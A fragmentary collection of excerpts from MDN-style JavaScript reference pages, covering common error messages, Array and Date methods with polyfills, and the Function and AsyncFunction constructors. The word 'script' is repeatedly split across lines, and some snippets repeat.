... are attempted to be deleted using the delete operator. message syntaxerror: calling delete on expression not allowed in strict mode (edge) syntaxerror: applying the 'delete' operator to an unqualified name is deprecated (firefox) syntaxerror: delete of an unqualified identifier in strict mode. (chrome) error type syntaxerror in strict mode only. what went wrong? normal variables in javascr
ipt can't be deleted using the delete operator. in strict mode, an attempt to delete a variable will throw an error and is not allowed. the delete operator can only delete properties on an object. object properties are "qualified" if they are configurable. unlike what common belief suggests, the delete operator has nothing to do with directly freeing memory. memory management is done indirectly vi...
...or has nothing to do with directly freeing memory. memory management is done indirectly via breaking references, see the memory management page and the delete operator page for more details. this error only happens in strict mode code. in non-strict code, the operation just returns false. examples freeing the contents of a variable attempting to delete a plain variable, doesn't work in javascr
ipt and it throws an error in strict mode: 'use strict'; var x; // ... delete x; // syntaxerror: applying the 'delete' operator to an unqualified name // is deprecated to free the contents of a variable, you can set it to null: 'use strict'; var x; // ... x = null; // x can be garbage collected ...
SyntaxError: missing ; before statement - JavaScript
the javascr
ipt exception "missing ; before statement" occurs when there is a semicolon (;) missing somewhere and can't be added by automatic semicolon insertion (asi). you need to provide a semicolon, so that javascr
ipt can parse the source code correctly. message syntaxerror: expected ';' (edge) syntaxerror: missing ; before statement (firefox) error type syntaxerror. what went wrong? there is a semicolon (;) missing somewhere. javascr
ipt statements must be terminated with semicolons. some of them are affected by automatic semicolon insertion (asi), but in this case you need to provide a semicolon, so that javascr
ipt can parse the source code correctly. however, oftentimes, this error is only a consequence of another error, like not escaping strings properly, or using var wrongly. ...
...for example: var foo = 'tom's bar'; // syntaxerror: missing ; before statement you can use double quotes, or escape the apostrophe: var foo = "tom's bar"; var foo = 'tom\'s bar'; declaring properties with var you cannot declare properties of an object or array with a var declaration. ...
...obj.foo = 'hi'; // syntaxerror missing ; before statement var array = []; var array[0] = 'there'; // syntaxerror missing ; before statement instead, omit the var keyword: var obj = {}; obj.foo = 'hi'; var array = []; array[0] = 'there'; bad keywords if you come from another programming language, it is also common to use keywords that don't mean the same or have no meaning at all in javascr
ipt: def print(info){ console.log(info); }; // syntaxerror missing ; before statement instead, use function instead of def: function print(info){ console.log(info); }; ...
SyntaxError: missing variable name - JavaScript
or maybe a comma is wrong. check for typos! message syntaxerror: missing variable name (firefox) syntaxerror: unexpected token = (chrome) error type syntaxerror what went wrong? a variable is missing a name. this is likely due to a syntax error in your code. probably a comma is wrong somewhere or you struggled with coming up with a name. totally understandable! naming things is so hard. check to ensure the previous lines / declaration does not end with a comma instead of a semi-colon. examples missing a variable name var = "foo"; it's tough coming up with good variable names. we all have been there. ...
...end with a comma instead of a semi-colon. examples missing a variable name var = "foo"; it's tough coming up with good variable names. we all have been there. var ohgodwhy = "foo"; reserved keywords can't be variable names there are a few variable names that are reserved keywords. you can't use these. sorry :( var debugger = "whoop"; // syntaxerror: missing variable name declaring mult
iple variables pay special attention to commas when declaring mult
iple variables. is there an excess comma? did you accidentally add commas instead of semicolons? var x, y = "foo", var x, = "foo" var first = document.getelementbyid('one'), var second = document.getelementbyid('two'), // syntaxerror: missing variable name the fixed version: var x, y = "foo"; var x = "foo"; var first = documen...
...this won't work: var arr = 1,2,3,4,5; // syntaxerror: missing variable name this would be correct: var arr = [1,2,3,4,5]; ...
TypeError: "x" is not a function - JavaScript
there are many built-in functions in need of a (callback) function. ...
...erty or method {x} (edge) typeerror: "x" is not a function error type typeerror what went wrong? it attempted to call a value from a function, but the value is not actually a function. some code expects you to provide a function, but that didn't happen. maybe there is a typo in the function name? maybe the object you are calling the method on does not have this function? for example, javascr
ipt objects have no map function, but the javascr
ipt array object does. there are many built-in functions in need of a (callback) function. you will have to provide a function in order to have these methods working properly: when working with array or typedarray objects: array.prototype.every(), array.prototype.some(), array.prototype.foreach(), array.prototype.map(), array.prototype.filte...
... using the latter will throw an error: const sixteen = 2(3 + 5); alert('2 x (3 + 5) is ' + string(sixteen)); //uncaught typeerror: 2 is not a function you can correct the code by adding a * operator: const sixteen = 2 * (3 + 5); alert('2 x (3 + 5) is ' + string(sixteen)); //2 x (3 + 5) is 16 import the exported module...
ReferenceError: "x" is not defined - JavaScript
examples variable not declared foo.substring(1); // referenceerror: foo is not defined the "foo" variable isn't defined anywhere. ...
... examples variable not declared foo.substring(1); // referenceerror: foo is not defined the "foo" variable isn't defined anywhere. ...
...where. message referenceerror: "x" is not defined error type referenceerror. what went wrong? there is a non-existent variable referenced somewhere. this variable needs to be declared, or you need to make sure it is available in your current scr
ipt or scope. note: when loading a library (such as jquery), make sure it is loaded before you access library variables, such as "$". put the <scr
ipt> tag that loads the library before your code that uses it. examples variable not declared foo.substring(1); // referenceerror: foo is not defined the "foo" variable isn't defined anywhere. it needs to be some string, so that the string.prototype.substring() method will work. var foo = 'bar'; foo.substring(1); // "ar" wrong scope a variable needs to be available in the current context of...
SyntaxError: "use strict" not allowed in function with non-simple parameters - JavaScript
message edge: cannot apply strict mode on functions with non-simple parameter list firefox: syntaxerror: "use strict" not allowed in function with default parameter syntaxerror: "use strict" not allowed in function with rest parameter syntaxerror: "use strict" not allowed in function with destructuring parameter chrome: syntaxerror: illegal 'use strict' directive in function with non-simple parameter list error type syntaxerror. ...
...ter chrome: syntaxerror: illegal 'use strict' directive in function with non-simple parameter list error type syntaxerror. ...
...e strict" directive is not allowed at the top of such functions per the ecmascr
ipt specification. ...
InternalError: too much recursion - JavaScript
the javascr
ipt exception "too much recursion" or "maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case. message error: out of stack space (edge) internalerror: too much recursion (firefox) rangeerror: maximum call stack size exceeded (chrome) error type internalerror. what went wrong? ...
...ut of stack space (edge) internalerror: too much recursion (firefox) rangeerror: maximum call stack size exceeded (chrome) error type internalerror. what went wrong? a function that calls itself is called a recursive function. once a condition is met, the function stops calling itself. this is called a base case. in some ways, recursion is analogous to a loop. both execute the same code mult
iple times, and both require a condition (to avoid an infinite loop, or rather, infinite recursion in this case). when there are too many function calls, or a function is missing a base case, javascr
ipt will throw this error. examples this recursive function runs 10 times, as per the exit condition. function loop(x) { if (x >= 10) // "x >= 10" is the exit condition return; // do stuff l...
...when this happens, the setter function is triggered. set name(name){ this.name = name; // recursive call } in this example when the setter is triggered, it is told to do the same thing again: to set the same property that it is meant to handle. this causes the function to call itself, again and again, making it infinitely recursive. this issue also appears if t...
ReferenceError: reference to undefined property "x" - JavaScript
there are two ways to access properties; see the property accessors reference page to learn more about them. examples invalid cases in this case, the property bar is an undefined property, so a referenceerror will occur. ...
...there are two ways to access properties; see the property accessors reference page to learn more about them. examples invalid cases in this case, the property bar is an undefined property, so a referenceerror will occur. ...
...there are two ways to access properties; see the property accessors reference page to learn more about them. examples invalid cases in this case, the property bar is an undefined property, so a referenceerror will occur. ...
Arrow function expressions - JavaScript
two factors influenced the introduction of arrow functions: the need for shorter functions and the behavior of the this keyword. shorter functions var elements = [ 'hydrogen', 'helium', 'lithium', 'beryllium' ]; // this statement returns the array: [8, 6, 7, 9] elements.map(function(element) { return element.length;...
... person() constructor defines `this` as an instance of itself. this.age = 0; setinterval(function growup() { // in non-strict mode, the growup() function defines `this` // as the global object (because it's where growup() is executed.), // which is different from the `this` // defined by the person() constructor. this.age++; }, 1000); } var p = new person(); in ecmascr
ipt 3/5, the this issue was fixable by assigning the value in this to a variable that could be closed over. function person() { var that = this; that.age = 0; setinterval(function growup() { // the callback refers to the `that` variable of which // the value is the expected object. that.age++; }, 1000); } alternatively, a bound function could be created so that a preassigned t...
... ...
Method definitions - JavaScript
it is a shorthand for a function assigned to the method's name. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const obj = { get property() {}, set property(value) {}, property( parameters... ) {}, *generator( parameters... ) {}, async property( parameters... ) {}, async* generator( parameters... ) {}, // with computed keys get [property]() {}, set [property](value) {}, [property]( parameters... ) {}, *[generator]( parameters... ...
...perty(value) {}, property( parameters... ) {}, *generator( parameters... ) {}, async property( parameters... ) {}, async* generator( parameters... ) {}, // with computed keys get [property]() {}, set [property](value) {}, [property]( parameters... ) {}, *[generator]( parameters... ) {}, async [property]( parameters... ) {}, async* [generator]( parameters... ) {}, }; descr
iption the shorthand syntax is similar to the getter and setter syntax introduced in ecmascr
ipt 2015. given the following code: const obj = { foo: function() { // ... }, bar: function() { // ... } } you are now able to shorten this to: const obj = { foo() { // ... }, bar() { // ... } } generator methods generator methods can be defined using the shorthand sy...
... also supports computed property names. const bar = { foo0: function() { return 0 }, foo1() { return 1 }, ['foo' + 2]() { return 2 } } console.log(bar.foo0()) // 0 console.log(bar.foo1()) // 1 console.log(bar.foo2()) // 2 // a global function function foo() { return 1 } let name = 'foo' console.log(window[name]()) // 1 specifications specification ecmascr
ipt (ecma-262)the definition of 'method definitions' in that specification. ...
Array.prototype[@@unscopables] - JavaScript
the @@unscopable symbol property contains property names that were not included in the ecmascr
ipt standard prior to the es2015 version. these properties are excluded from with statement bindings. descr
iption the default array properties that are excluded from with bindings are: copywithin() entries() fill() find() findindex() includes() keys() values() see symbol.unscopables for how to set unscopables for your own objects. ...
...ncludes() keys() values() see symbol.unscopables for how to set unscopables for your own objects. property attributes of array.prototype[@@unscopables] writable no enumerable no configurable yes examples use in with environments the following code works fine in es5 and below. however, in ecmascr
ipt 2015 and later, the array.prototype.keys() method was introduced. that means that inside with environments, "keys" would now be the method and not the variable. this is where now the built-in @@unscopables array.prototype[@@unscopables] symbol property comes into play and prevents that some of the array methods are being scoped into the with statement. var keys = []; with (array.prototype) { ...
... ...
Array() constructor - JavaScript
the array() constructor is used to create array objects. syntax [element0, element1, ..., elementn] new array(element0, element1[, ...[, elementn]]) new array(arraylength) parameters elementn a javascr
ipt array is initialized with the given elements, except in the case where a single argument is passed to the array constructor and that argument is a number (see the arraylength parameter below). note that this special case only applies to javascr
ipt arrays created with the array constructor, not array literals created with the bracket syntax. ...
...if the argument is any other number, a rangeerror exception is thrown. ...
...ts.length); // 2 console.log(fruits[0]); // "apple" array constructor with a single parameter arrays can be created using a constructor with a single number parameter. an array with its length property set to that number and the array elements are empty slots. let fruits = new array(2); console.log(fruits.length); // 2 console.log(fruits[0]); // undefined array constructor with mult
iple parameters if more than one argument is passed to the constructor, a new array with the given elements is created. let fruits = new array('apple', 'banana'); console.log(fruits.length); // 2 console.log(fruits[0]); // "apple" specifications specification ecmascr
ipt (ecma-262)the definition of 'array constructor' in that specification. ...
Array.prototype.every() - JavaScript
e arguments: element the current element being processed in the array. index optional the index of the current element being processed in the array. array optional the array every was called upon. thisarg optional a value to use as this when executing callback. return value true if the callback function returns a truthy value for every array element. otherwise, false. descr
iption the every method executes the provided callback function once for each element present in the array until it finds the one where callback returns a falsy value. if such an element is found, the every method immediately returns false. otherwise, if callback returns a truthy value for all elements, every returns true. caution: calling this method on an empty array will return true for any co...
...or all" quantifier in mathematics. in particular, for an empty array, it returns true. (it is vacuously true that all elements of the empty set satisfy any given condition.) polyfill every was added to the ecma-262 standard in the 5th edition, and it may not be present in other implementations of the standard. you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of every in implementations which do not natively support it. this algorithm is exactly the one specified in ecma-262, 5th edition, assuming object and typeerror have their original values, and that callbackfn.call evaluates to the original value of function.prototype.call. if (!array.prototype.every) { array.prototype.every = function(callbackfn, thisarg) { 'use strict'; ...
... ...
Array.prototype.fill() - JavaScript
ples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arr.fill(value[, start[, end]]) parameters value value to fill the array with. (note all elements in the array will be this exact value.) start optional start index, default 0. end optional end index, default arr.length. return value the modified array, filled with value. descr
iption if start is negative, it is treated as array.length + start. if end is negative, it is treated as array.length + end. fill is intentionally generic: it does not require that its this value be an array object. fill is a mutator method: it will change the array itself and return it, not a copy of it. if the first parameter is an object, each slot in the array will reference that object. ...
...s[2]; var relativeend = end === undefined ? len : end >> 0; // step 11. var finalvalue = relativeend < 0 ? math.max(len + relativeend, 0) : math.min(relativeend, len); // step 12. while (k < finalvalue) { o[k] = value; k++; } // step 13. return o; } }); } if you need to support truly obsolete javascr
ipt engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable. examples using fill [1, 2, 3].fill(4) // [4, 4, 4] [1, 2, 3].fill(4, 1) // [1, 4, 4] [1, 2, 3].fill(4, 1, 2) // [1, 4, 3] [1, 2, 3].fill(4, 1, 1) // [1, 2, 3] [1, 2, 3].fill(4, 3, 3) // [1, 2, ...
... ...
Array.prototype.findIndex() - JavaScript
e arguments: element the current element being processed in the array. index optional the index of the current element being processed in the array. array optional the array findindex() was called upon. thisarg optional optional object to use as this when executing callback. return value the index of the first element in the array that passes the test. otherwise, -1. descr
iption the findindex() method executes the callback function once for every index in the array until it finds the one where callback returns a truthy value. if such an element is found, findindex() immediately returns the element's index. if callback never returns a truthy value (or the array's length is 0), findindex() returns -1. edge case alert: unlike other array methods such as array.some()...
...n(? call(predicate, t, << kvalue, k, o >>)). // d. if testresult is true, return k. var kvalue = o[k]; if (predicate.call(thisarg, kvalue, k, o)) { return k; } // e. increase k by 1. k++; } // 7. return -1. return -1; }, configurable: true, writable: true }); } if you need to support truly obsolete javascr
ipt engines that do not support object.defineproperty, it is best not to polyfill array.prototype methods at all, as you cannot make them non-enumerable. examples find the index of a prime number in an array the following example returns the index of the first element in the array that is a prime number, or -1 if there is no prime number. function isprime(num) { for (let i = 2; num > i; i++) {...
... ...
Array.prototype.flatMap() - JavaScript
nts: currentvalue the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the array map was called upon. thisargoptional value to use as this when executing callback. return value a new array with each element being the result of the callback function and flattened to a depth of 1. descr
iption see array.prototype.map() for a detailed descr
iption of the callback function. the flatmap method is identical to a map followed by a call to flat of depth 1. alternative reduce() and concat() var arr = [1, 2, 3, 4]; arr.flatmap(x => [x, x * 2]); // is equivalent to arr.reduce((acc, x) => acc.concat([x, x * 2]), []); // [1, 2, 2, 4, 3, 6, 4, 8] note, however, that this is inefficient a...
...list length. for adding and removing items during a map() flatmap can be used as a way to add and remove items (modify the number of items) during a map. in other words, it allows you to map many items to many items (by handling each input item separately), rather than always one-to-one. in this sense, it works like the opposite of filter. simply return a 1-element array to keep the item, a mult
iple-element array to add items, or a 0-element array to remove the item. // let's say we want to remove all the negative numbers // and split the odd numbers into an even number and a 1 let a = [5, 4, -3, 20, 17, -33, -4, 18] // |\ \ x | | \ x x | // [4,1, 4, 20, 16, 1, 18] a.flatmap( (n) => (n < 0) ? [] : (n % 2 == 0) ? [n] : [n-1, 1] ) //...
... ...
Array.prototype.length - JavaScript
sets or returns the number of elements in that array. the value is an unsigned, 32-bit integer that is always numerically greater than the highest index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. descr
iption the value of the length property is an integer with a positive sign and a value less than 2 to the 32nd power (232). var namelista = new array(4294967296); //2 to the 32nd power = 4294967296 var namelistc = new array(-100) //negative sign console.log(namelista.length); //rangeerror: invalid array length console.log(namelistc.length); //rangeerror: invalid array length var namelistb = []...
...es the third element to be a non-iterable empty slot. const arr = [1, 2]; console.log(arr); // [ 1, 2 ] arr.length = 5; // set array length to 5 while currently 2. console.log(arr); // [ 1, 2, <3 empty items> ] arr.foreach(element => console.log(element)); // 1 // 2 as you can see, the length property does not necessarily indicate the number of defined values in the array. see also relationsh
ip between length and numerical properties. property attributes of array.prototype.length writable yes enumerable no configurable no writable: if this attribute set to false, the value of the property cannot be changed. configurable: if this attribute set to false, any attempts to delete the propert...
...ngth of 3 if the current length is greater than 3. var numbers = [1, 2, 3, 4, 5]; if (numbers.length > 3) { numbers.length = 3; } console.log(numbers); // [1, 2, 3] console.log(numbers.length); // 3 create empty array of fixed length var numbers = []; numbers.length = 3; console.log(numbers); // [undefined, undefined, undefined] specifications specification ecmascr
ipt (ecma-262)the definition of 'array.length' in that specification. ...
Array.prototype.slice() - JavaScript
ng an offset from the end of the sequence. slice(2,-1) extracts the third element through the second-to-last element in the sequence. if end is omitted, slice extracts through the end of the sequence (arr.length). if end is greater than the length of the sequence, slice extracts through to the end of the sequence (arr.length). return value a new array containing the extracted elements. descr
iption slice does not alter the original array. it returns a shallow copy of elements from the original array. elements of the original array are copied into the returned array as follows: for object references (and not the actual object), slice copies object references into the new array. both the original and new array refer to the same object. if a referenced object changes, the changes are v...
...ar)) console.log('mycar[0].color = ' + mycar[0].color) console.log('newcar[0].color = ' + newcar[0].color) // change the color of myhonda. myhonda.color = 'purple' console.log('the new color of my honda is ' + myhonda.color) // display the color of myhonda referenced from both arrays. ...
... ...
Array.prototype.some() - JavaScript
element the current element being processed in the array. indexoptional the index of the current element being processed in the array. arrayoptional the array some() was called upon. thisargoptional a value to use as this when executing callback. return value true if the callback function returns a truthy value for at least one element in the array. otherwise, false. descr
iption the some() method executes the callback function once for each element present in the array until it finds the one where callback returns a truthy value (a value that becomes true when converted to a boolean). if such an element is found, some() immediately returns true. otherwise, some() returns false. callback is invoked only for indexes of the array with assigned values. it is not invoked...
...the time that some() visits that element's index. elements that are deleted are not visited. caution: calling this method on an empty array returns false for any condition! polyfill some() was added to the ecma-262 standard in the 5th edition, and it may not be present in all implementations of the standard. you can work around this by inserting the following code at the beginning of your scr
ipts, allowing use of some() in implementations which do not natively support it. this algorithm is exactly the one specified in ecma-262, 5th edition, assuming object and typeerror have their original values and that fun.call evaluates to the original value of function.prototype.call(). // production steps of ecma-262, edition 5, 15.4.4.17 // reference: http://es5.github.io/#x15.4.4.17 if (!array...
... ...
Array.prototype.toLocaleString() - JavaScript
tions >> // ) // ) r = nextelement == null ? '' : nextelement.tolocalestring(locales, options); // e. let r be a string value produced by // concatenating s and r. r = s + r; // f. increase k by 1. k++; } // 10. return r. return r; } }); } if you need to support truly obsolete javascr
ipt engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable. examples using locales and options the elements of the array are converted to strings using their tolocalestring methods. object: object.prototype.tolocalestring() number: number.prototype.tolocalestring() date: date.prototype.tolocalestring(...
... ...
... ...
Array.prototype.unshift() - JavaScript
the unshift() method adds one or more elements to the beginning of an array and returns the new length of the array. syntax arr.unshift(element1[, ...[, elementn]]) parameters elementn the elements to add to the front of the arr. return value the new length property of the object upon which the method was called. descr
iption the unshift method inserts the given values to the beginning of an array-like object. unshift is intentionally generic. ...
...hence, calling unshift with n arguments once, or calling it n times with 1 argument (with a loop, for example), don't yield the same results. ...
... ...
AsyncFunction - JavaScript
the asyncfunction constructor creates a new async function object. in javascr
ipt, every asynchronous function is actually an asyncfunction object. note that asyncfunction is not a global object. it can be obtained with the following code: object.getprototypeof(async function(){}).constructor syntax new asyncfunction([arg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascr
ipt identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascr
ipt statements comprising the function definition. ...
...rg1[, arg2[, ...argn]],] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascr
ipt identifier or a list of such strings separated with a comma; for example "x", "thevalue", or "a,b". functionbody a string containing the javascr
ipt statements comprising the function definition. descr
iption async function objects created with the asyncfunction constructor are parsed when the function is created. this is less efficient than declaring an async function with an async function expression and calling it within your code, because such functions are parsed with the rest of the code. all arguments passed to the function are treated as the names of the identifiers of the parameters in ...
... ...
Date.prototype[@@toPrimitive] - JavaScript
the [@@toprimitive]() method converts a date object to a primitive value. syntax date()[symbol.toprimitive](hint); return value the primitive value of the given date object. depending on the argument, the method can return either a string or a number. descr
iption the [@@toprimitive]() method of the date object returns a primitive value, that is either of type number or of type string. if hint is "string" or "default", [@@toprimitive]() tries to call the tostring method. ...
...ither of type number or of type string. if hint is "string" or "default", [@@toprimitive]() tries to call the tostring method. if the tostring property does not exist, it tries to call the valueof method and if the valueof does not exist either, [@@toprimitive]() throws a typeerror. if hint is "number", [@@toprimitive]() first tries to call valueof, and if that fails, it calls tostring. javascr
ipt calls the [@@toprimitive]() method to convert an object to a primitive value. you rarely need to invoke the [@@toprimitive]() method yourself; javascr
ipt automatically invokes it when encountering an object where a primitive value is expected. examples returning date primitives const testdate = new date(1590757517834); // "date fri may 29 2020 14:05:17 gmt+0100 (british summer time)" testdat...
... ...
Date.UTC() - JavaScript
accepts parameters similar to the date constructor, but treats them as utc. it returns the number of milliseconds since january 1, 1970, 00:00:00 utc. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax since ecmascr
ipt 2017: date.utc(year[, month[, day[, hour[, minute[, second[, millisecond]]]]]]) ecmascr
ipt 2016 and earlier: (month used to be required) date.utc(year, month[, day[, hour[, minute[, second[, millisecond]]]]]) parameters year a full year. month an integer between 0 (january) and 11 (december) representing the month. (up through ecmascr
ipt 2016, month was a required parameter. as of es20...
... 0 and 59 representing the minutes. if omitted, defaults to 0. second optional an integer between 0 and 59 representing the seconds. if omitted, defaults to 0. millisecond optional an integer between 0 and 999 representing the milliseconds. if omitted, defaults to 0. return value a number representing the number of milliseconds for the given date since january 1, 1970, 00:00:00, utc. descr
iption utc() takes comma-delimited date and time parameters and returns the number of milliseconds between january 1, 1970, 00:00:00, universal time and the specified date and time. years between 0 and 99 are converted to a year in the 20th century (1900 + year). for example, 95 is converted to the year 1995. the utc() method differs from the date constructor in two ways: date.utc() uses unive...
...1 (year + 1) and 3 will be used for the month. utc() is a static method of date, so it's called as date.utc() rather than as a method of a date instance. examples using date.utc() the following statement creates a date object with the arguments treated as utc instead of local: let utcdate = new date(date.utc(2018, 11, 1, 0, 0, 0)); specifications specification ecmascr
ipt (ecma-262)the definition of 'date.utc' in that specification. ...
Date.prototype.getYear() - JavaScript
the getyear() method returns the year in the specified date according to local time. because getyear() does not return full years ("year 2000 problem"), it is no longer used and has been replaced by the getfullyear() method. syntax dateobj.getyear() return value a number representing the year of the given date, according to local time, minus 1900. descr
iption for years greater than or equal to 2000, the value returned by getyear() is 100 or greater. for example, if the year is 2026, getyear() returns 126. for years between and including 1900 and 1999, the value returned by getyear() is between 0 and 99. for example, if the year is 1976, getyear() returns 76. for years less than 1900, the value returned by getyear() is less than 0. for example, if the year is 1800, getyear() retu...
...ar() is between 0 and 99. for example, if the year is 1976, getyear() returns 76. for years less than 1900, the value returned by getyear() is less than 0. for example, if the year is 1800, getyear() returns -100. to take into account years before and after 2000, you should use getfullyear() instead of getyear() so that the year is specified in full. backward compatibility behavior in javascr
ipt 1.2 and earlier the getyear() method returns either a 2-digit or 4-digit year: for years between and including 1900 and 1999, the value returned by getyear() is the year minus 1900. for example, if the year is 1976, the value returned is 76. for years less than 1900 or greater than 1999, the value returned by getyear() is the four-digit year. for example, if the year is 1856, the value retu...
... ...
Date.prototype.setHours() - JavaScript
0:00 utc until the time represented by the updated date instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.sethours(hoursvalue[, minutesvalue[, secondsvalue[, msvalue]]]) versions prior to javascr
ipt 1.3 dateobj.sethours(hoursvalue) parameters hoursvalue ideally, an integer between 0 and 23, representing the hour. if a value greater than 23 is provided, the datetime will be incremented by the extra hours. minutesvalue optional. ideally, an integer between 0 and 59, representing the minutes. if a value greater than 59 is provided, the datetime will be incremented by the extra minutes.
...svalue. msvalue optional. ideally, a number between 0 and 999, representing the milliseconds. if a value greater than 999 is provided, the datetime will be incremented by the extra milliseconds. if you specify the msvalue parameter, you must also specify the minutesvalue and secondsvalue. return value the number of milliseconds between january 1, 1970 00:00:00 utc and the updated date. descr
iption if you do not specify the minutesvalue, secondsvalue, and msvalue parameters, the values returned from the getminutes(), getseconds(), and getmilliseconds() methods are used. if a parameter you specify is outside of the expected range, sethours() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes will be incremen...
... ...
Date.prototype.setMinutes() - JavaScript
nutes() method sets the minutes for a specified date according to local time. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.setminutes(minutesvalue[, secondsvalue[, msvalue]]) versions prior to javascr
ipt 1.3 dateobj.setminutes(minutesvalue) parameters minutesvalue an integer between 0 and 59, representing the minutes. secondsvalue optional. an integer between 0 and 59, representing the seconds. if you specify the secondsvalue parameter, you must also specify the minutesvalue. msvalue optional. a number between 0 and 999, representing the milliseconds. if you specify the msvalue paramet...
...0 and 59, representing the seconds. if you specify the secondsvalue parameter, you must also specify the minutesvalue. msvalue optional. a number between 0 and 999, representing the milliseconds. if you specify the msvalue parameter, you must also specify the minutesvalue and secondsvalue. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date. descr
iption if you do not specify the secondsvalue and msvalue parameters, the values returned from getseconds() and getmilliseconds() methods are used. if a parameter you specify is outside of the expected range, setminutes() attempts to update the date information in the date object accordingly. for example, if you use 100 for secondsvalue, the minutes will be incremented by 1 (minutesvalue + 1), and...
... ...
Date.prototype.setSeconds() - JavaScript
the setseconds() method sets the seconds for a specified date according to local time. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... if a parameter you specify is outside of the expected range, setseconds() attempts to update the date information in the date object accordingly. ...
... ...
Date.prototype.toDateString() - JavaScript
. "thu jan 01 1970". the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.todatestring() return value a string representing the date portion of the given date object in human readable form in english. descr
iption date instances refer to a specific point in time. calling tostring() will return the date formatted in a human readable form in english. in spidermonkey, this consists of the date portion (day, month, and year) followed by the time portion (hours, minutes, seconds, and time zone). sometimes it is desirable to obtain a string of the time portion; such a thing can be accomplished with the toti...
...rable to obtain a string of the time portion; such a thing can be accomplished with the totimestring() method. the todatestring() method is especially useful because compliant engines implementing ecma-262 may differ in the string obtained from tostring() for date objects, as the format is implementation-dependent and simple string slicing approaches may not produce consistent results across mult
iple engines. examples a basic usage of todatestring() var d = new date(1993, 5, 28, 14, 39, 7); console.log(d.tostring()); // logs mon jun 28 1993 14:39:07 gmt-0600 (pdt) console.log(d.todatestring()); // logs mon jun 28 1993 note: month are 0-indexed when used as an argument of date (thus 0 corresponds to january and 11 to december). specifications specification ecm...
...ngines. examples a basic usage of todatestring() var d = new date(1993, 5, 28, 14, 39, 7); console.log(d.tostring()); // logs mon jun 28 1993 14:39:07 gmt-0600 (pdt) console.log(d.todatestring()); // logs mon jun 28 1993 note: month are 0-indexed when used as an argument of date (thus 0 corresponds to january and 11 to december). specifications specification ecmascr
ipt (ecma-262)the definition of 'date.prototype.todatestring' in that specification. ...
Date.prototype.toUTCString() - JavaScript
utcstring, it can have negative values in the 2021 version the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.toutcstring() return value a string representing the given date using the utc time zone. descr
iption the value returned by toutcstring() is a string in the form www, dd mmm yyyy hh:mm:ss gmt, where: format sring descr
iption www day of week, as three letters (e.g. sun, mon, ...) dd day of month, as two digits with leading zero if required mmm month, as three letters (e.g. jan, feb, ...) yyyy year, as four or more digits with le...
... digits with leading zero if required mmm month, as three letters (e.g. jan, feb, ...) yyyy year, as four or more digits with leading zeroes if required hh hour, as two digits with leading zero if required mm minute, as two digits with leading zero if required ss seconds, as two digits with leading zero if required prior to ecmascr
ipt 2018, the format of the return value varied according to the platform. the most common return value was an rfc-1123 formatted date stamp, which is a slightly updated version of rfc-822 date stamps. examples using toutcstring() let today = new date('wed, 14 jun 2017 00:00:00 pdt'); let utcstring = today.toutcstring(); // wed, 14 jun 2017 07:00:00 gmt specifications specification ...
... of the return value varied according to the platform. the most common return value was an rfc-1123 formatted date stamp, which is a slightly updated version of rfc-822 date stamps. examples using toutcstring() let today = new date('wed, 14 jun 2017 00:00:00 pdt'); let utcstring = today.toutcstring(); // wed, 14 jun 2017 07:00:00 gmt specifications specification ecmascr
ipt (ecma-262)the definition of 'date.prototype.toutcstring' in that specification. ...
EvalError - JavaScript
constructor evalerror() creates a new evalerror object. instance properties evalerror.prototype.message error message. although ecma-262 specifies that evalerror should provide its own message property, in spidermonkey, it inherits error.prototype.message. evalerror.prototype.name error name. inherited from error. evalerror.prototype.filename path to file that raised this error. inherited from error. evalerror.prototype.linenumber line number in file that raised this error. ...
...prototype.filename path to file that raised this error. inherited from error. evalerror.prototype.linenumber line number in file that raised this error. inherited from error. evalerror.prototype.columnnumber column number in line that raised this error. inherited from error. evalerror.prototype.stack stack trace. inherited from error. examples evalerror is not used in the current ecmascr
ipt specification and will thus not be thrown by the runtime. however, the object itself remains for backwards compatibility with earlier versions of the specification. creating an evalerror try { throw new evalerror('hello', 'somefile.js', 10); } catch (e) { console.log(e instanceof evalerror); // true console.log(e.message); // "hello" console.log(e.name); //...
... ...
Function() constructor - JavaScript
stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax new function([arg1 [, arg2 [, ...argn]] ,] functionbody) parameters arg1, arg2, ... argn names to be used by the function as formal argument names. each must be a string that corresponds to a valid javascr
ipt identifier, or a list of such strings separated with a comma. for example: "x", "thevalue"--or "x,thevalue". functionbody a string containing the javascr
ipt statements comprising the function definition. descr
iption function objects created with the function constructor are parsed when the function is created. this is less efficient than declaring a function with a function expression or fu...
...d. omitting an argument will result in the value of that parameter being undefined. invoking the function constructor as a function (without using the new operator) has the same effect as invoking it as a constructor. examples specifying arguments with the function constructor the following code creates a function object that takes two arguments. ...
